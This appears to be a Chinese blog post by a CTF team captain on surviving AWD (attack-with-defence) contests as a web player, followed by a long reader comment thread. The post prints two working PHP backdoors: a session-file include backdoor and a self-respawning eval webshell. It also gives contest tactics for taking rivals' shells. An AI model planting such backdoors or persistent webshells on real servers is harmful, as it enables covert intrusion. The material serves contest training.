Hello,大家好,我是Nu1L战队队长Veneno,通过这篇文章说一下关于CTF线下赛的AWD模式(当然也有一些比赛是沙盒模式),以及身为一只Web狗的你如何在各位大佬们的手下存活:)可能没有技术干货,大家勿喷:)

1-何为AWD
Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。
比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。
2-AWD之出题人
在这里暂且冒充下出题人QAQ
0x01:题目类型
1-出题人自己写的cms,为了恶心然后加个so。
2-常见或者不常见的cms。
3-一些框架漏洞,比如ph师傅挖的CI这种
0x02:代码类型
目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。
0x03:题目漏洞类型
1-sqli居多
2-文件包含
3-各种rce
4-文件上传
0x04:出题人思路
为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?
3-如何攻击
相信平日大家都做过渗透测试之类的,而AWD模式的比赛其实跟日常的渗透测试有共同之处。
0x01:如何拿flag
一般来说就是以下两种模式:
1-是向内网一台机器发送http请求,返回请求中包含flag。
2-是例如/home目录下放置flag文件。
0x02:一个web狗需要具备的一些东西
大致有以下几点:
1-快速的漏洞反应能力。
因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。
2-快速编写脚本的能力。
因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。
3-一个好的心态
毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。
0x03:当我们处于优势地位时
除非处于那种绝对优势的时候,我们可以什么都不在乎。
当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。
0x04:当我们处于劣势地位时
首先还是那句话,心态不要崩。
其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。
如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。
4-如何防守
其实防守更多看的是谁比较细心。
0x01:比赛开始的时候
比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。
然后在尽量不违反主办方check的原则下挂上自己的waf。
一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。
0x02:然后的工作
当然是审计,审计,再审计。
0x03:当发现被打时
当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。
5-一些小tips
分享几个小例子以及自己的思路。
0x01:如果自己拿到了FB
当自己拿到fb的时候,一定要淡定,淡定,淡定。首先,我们测试的对象应该是NPC(或者本地),而不是其他队伍选手的服务,因为你怎么知道人家没有流量,经常会出现,有的队伍拿到了fb,结果不是拿的npc的,自己的payload又被别的队伍拿到,而碰巧拿到的队伍,重放能力特别强,就会出现一个尴尬的局面,明明你拿的fb,结果人家打的比你还凶。
所以,当拿到fb的时候,写打全场的exp之前,可以先打n多的混淆流量。
0x02:特别熟悉的cms
作为一只web狗,如果看到wordpress,那么第一个反应肯定是上wpscan。但是线下赛时候有的出题人放了一个最新版本的wp,甚至插件也没有什么漏洞,举两个自己打比赛的时候碰见过的例子:
1-主办方放了一个wp,然后每个队伍都有config备份文件以及phpmyadmin。这种情况下,最机智的方法,是靠你多年手速,迅速下载其他队伍备份文件,然后登陆phpmyadmin后,拿别的队伍的shell最机智的方法不是去利用phpmyadmin写shell,万一没权限不就白白耽误时间了。
2-同样是最新版的wp,也没有安装插件,但是主办方在一个比较深的目录里放了一个任意文件上传,绕过上传的方式也比较简单。
0x03:一些比较有意思的backdoor
比如下面这个,有兴趣的话可以自己本地测试下:
<?php
session_start();
extract($_GET);
if(preg_match('/[0-9]/',$_SESSION['PHPSESSID']))
exit;
if(preg_match('//|./',$_SESSION['PHPSESSID']))
exit;
include(ini_get("session.save_path")."/sess_".$_SESSION['PHPSESSID']);
?>
0x04:一些有趣shell
在github上有关于phpwebshell的一个项目,有兴趣的同学可以搜一下。当然也有python的一些shell。在这里举一个最简单的例子:
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "veneno.php";
$shell = "<?php eval($_POST[venenohi]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>
6-Ending
参加了那么多线下赛以来,个人感觉还是需要提高自己的代码审计能力以及自动化脚本的编写能力,同时也会提醒自己在什么方面有短板。
声明:本文经安全客授权发布,原文作者Veneno@Nu1L
转载请联系安全客平台: https://www.anquanke.com/post/id/84675

韩国 1F
求问那个PHP backdoor怎么防啊?一直没搞明白
湖南省岳阳市 2F
之前打过一次AWD,结果backup没做好直接GG了
江苏省常州市 3F
这exp写得也太秀了吧,我还在手撸payload呢
日本 B1
@ 夔牛震岳 这backdoor例子太绝了,session目录谁能想到查啊
辽宁省沈阳市 4F
主办方放wp还藏文件上传?阴险得很666
韩国 5F
流量分析这块真得练,不然被打都不知道咋回事
河南省濮阳市 B1
@ 夜孤鸿 流量分析有啥好用的工具推荐不?
马来西亚 6F
那个session backdoor有点东西,本地试了下确实难发现
陕西省咸阳市 7F
要是分数落后太多还能翻盘吗?感觉一崩就全完了
湖北省武汉市 8F
防守全靠waf+备份,其他全看命了属于是
甘肃省嘉峪关市 9F
写的啥啊,说人话:别乱打NPC,不然反被偷😂
台湾省 10F
这套路真心实用,直接上手就能抢flag。👍
北京市 B1
@ 抖机灵 直接抄作业了,晚上练习赛试试
印度尼西亚 11F
我觉得备份是命根子,哪怕只是一份小tar也能救命,别等被打才后悔。
广东省广州市 12F
抓流量后用grep快速找payload。
湖南省长沙市 13F
这个php backdoor怎么防?有没有现成的检测脚本?
黑龙江省哈尔滨市 14F
别说防不住,连WAF都被绕了也不是不可能。
印度尼西亚 15F
我上次参加AWD,刚把备份弄好,结果一晚上被全队的shell炸掉,心里那个懊恼啊,后来才发现是日志泄露导致的。
日本 B1
@ 学霸不是我 日志怎么泄露的?权限没设好?
北京市 16F
WAF配错了,直接被秒。
浙江省宁波市 B1
@ 社恐の小鱼 WAF配错等于给对面开后门,血泪教训
天津市 17F
看着队友被打的那一瞬间,我都笑出声了。
韩国 18F
这波攻防太精彩,根本停不下来。
浙江省嘉兴市 B1
@ 墨剑仙 打NPC那段太真实了,之前就吃过亏
河南省信阳市固始县 19F
实在太刺激了。
贵州省贵阳市 B1
@ 油灯下 手都在抖,太真实了😭
日本 20F
新手一脸懵逼,这都说的啥跟啥啊
黑龙江省鹤岗市 21F
感觉这比赛比的就是心态和手速
河南省郑州市 22F
那个混淆流量的思路有点意思,可以试试
上海市 23F
备份确实关键,但有时候来不及下啊
北京市 B1
@ FangFencer 手慢一秒备份就没了,真不是危言耸听
福建省福州市 24F
这比赛也太卷了吧,动不动就0day
日本 25F
看完了更不敢打线下赛了😂
上海市 B1
@ 叛逆的指南针 看完只想抱紧我的小本本不敢参赛了😂
日本 26F
这比赛太刺激了,被打爆了心态真的容易崩😭
河北省石家庄市 27F
混淆流量具体咋操作?求个例子!
贵州省黔东南州 28F
那个session后门太恶心了,真有人这么出题?
河南省新乡市 29F
上次比赛就是没备份,直接被秒删源码,后悔死了
四川省德阳市 30F
这模式对新手也太不友好了吧
新喀里多尼亚 31F
打NPC还能被反杀,长见识了
北京市 32F
所以web狗到底该主攻还是主防?
新西兰 33F
那个sess_开头的shell太阴了,根本想不到去查session目录
印度 34F
wp藏上传点?出题人怕不是心理阴影面积很大
澳大利亚 35F
刚打完一场,shell删了又自动生成,最后发现是cron在作妖
北京市 36F
防守时连ini_set都关了,结果还是被日,麻了
北京市 37F
求问:拿flag时打NPC和打人机有啥区别?怕踩雷
陕西省商洛市 38F
之前比赛连ssh都进不去,直接坐牢两小时😭
台湾省嘉义县 39F
这模式比打游戏还上头,就是心脏受不了
山东省青岛市 40F
备份下源码第一件事,血泪教训
黑龙江省哈尔滨市 41F
打NPC还被反偷可太秀了
北京市 42F
phpmyadmin没权限写shell那个,真实经历+1
湖北省武汉市 43F
混淆流量具体咋操作?完全没概念
浙江省绍兴市嵊州市 44F
心态崩了直接摆烂,深有体会
韩国 45F
web狗日常:不是在修站,就是在被打的路上
山东省淄博市 46F
这比赛太要命了,一不留神就被爆破了。
四川省成都市 47F
刚入门的小白表示听不懂啥是混淆流量🤔
韩国 48F
那个自动复活的shell真的阴间,防不胜防。
山东省 49F
web狗的命也是命啊,天天被日谁顶得住😭
山东省临沂市 50F
防守靠waf?我上次waf规则写错直接gg。
湖北省武汉市 51F
出题人怕不是有受虐倾向,专挑冷门洞往死里挖。
湖南省株洲市 52F
流量抓了也看不懂,grep半天全是乱码。
日本 53F
shell删了又生成,查了一圈发现是定时任务在作祟,气笑了。
广东省梅州市 54F
这不比打游戏刺激,血压直接拉满。
北京市 55F
求问那个sess_开头的后门,除了查目录还能咋检测?
台湾省 56F
混淆流量具体咋整?直接发垃圾包?
北京市 57F
流量都抓不全,还分析个啥
吉林省白城市 58F
备份还得加密吧,直接tar会不会被偷?
北京市 59F
早说啊,我上次就是瞎打NPC被反杀了
韩国 60F
这比赛打一次老十岁
江苏省扬州市 61F
感觉防守比攻击还费脑子
天津市 62F
那个session后门本地复现了,藏得真深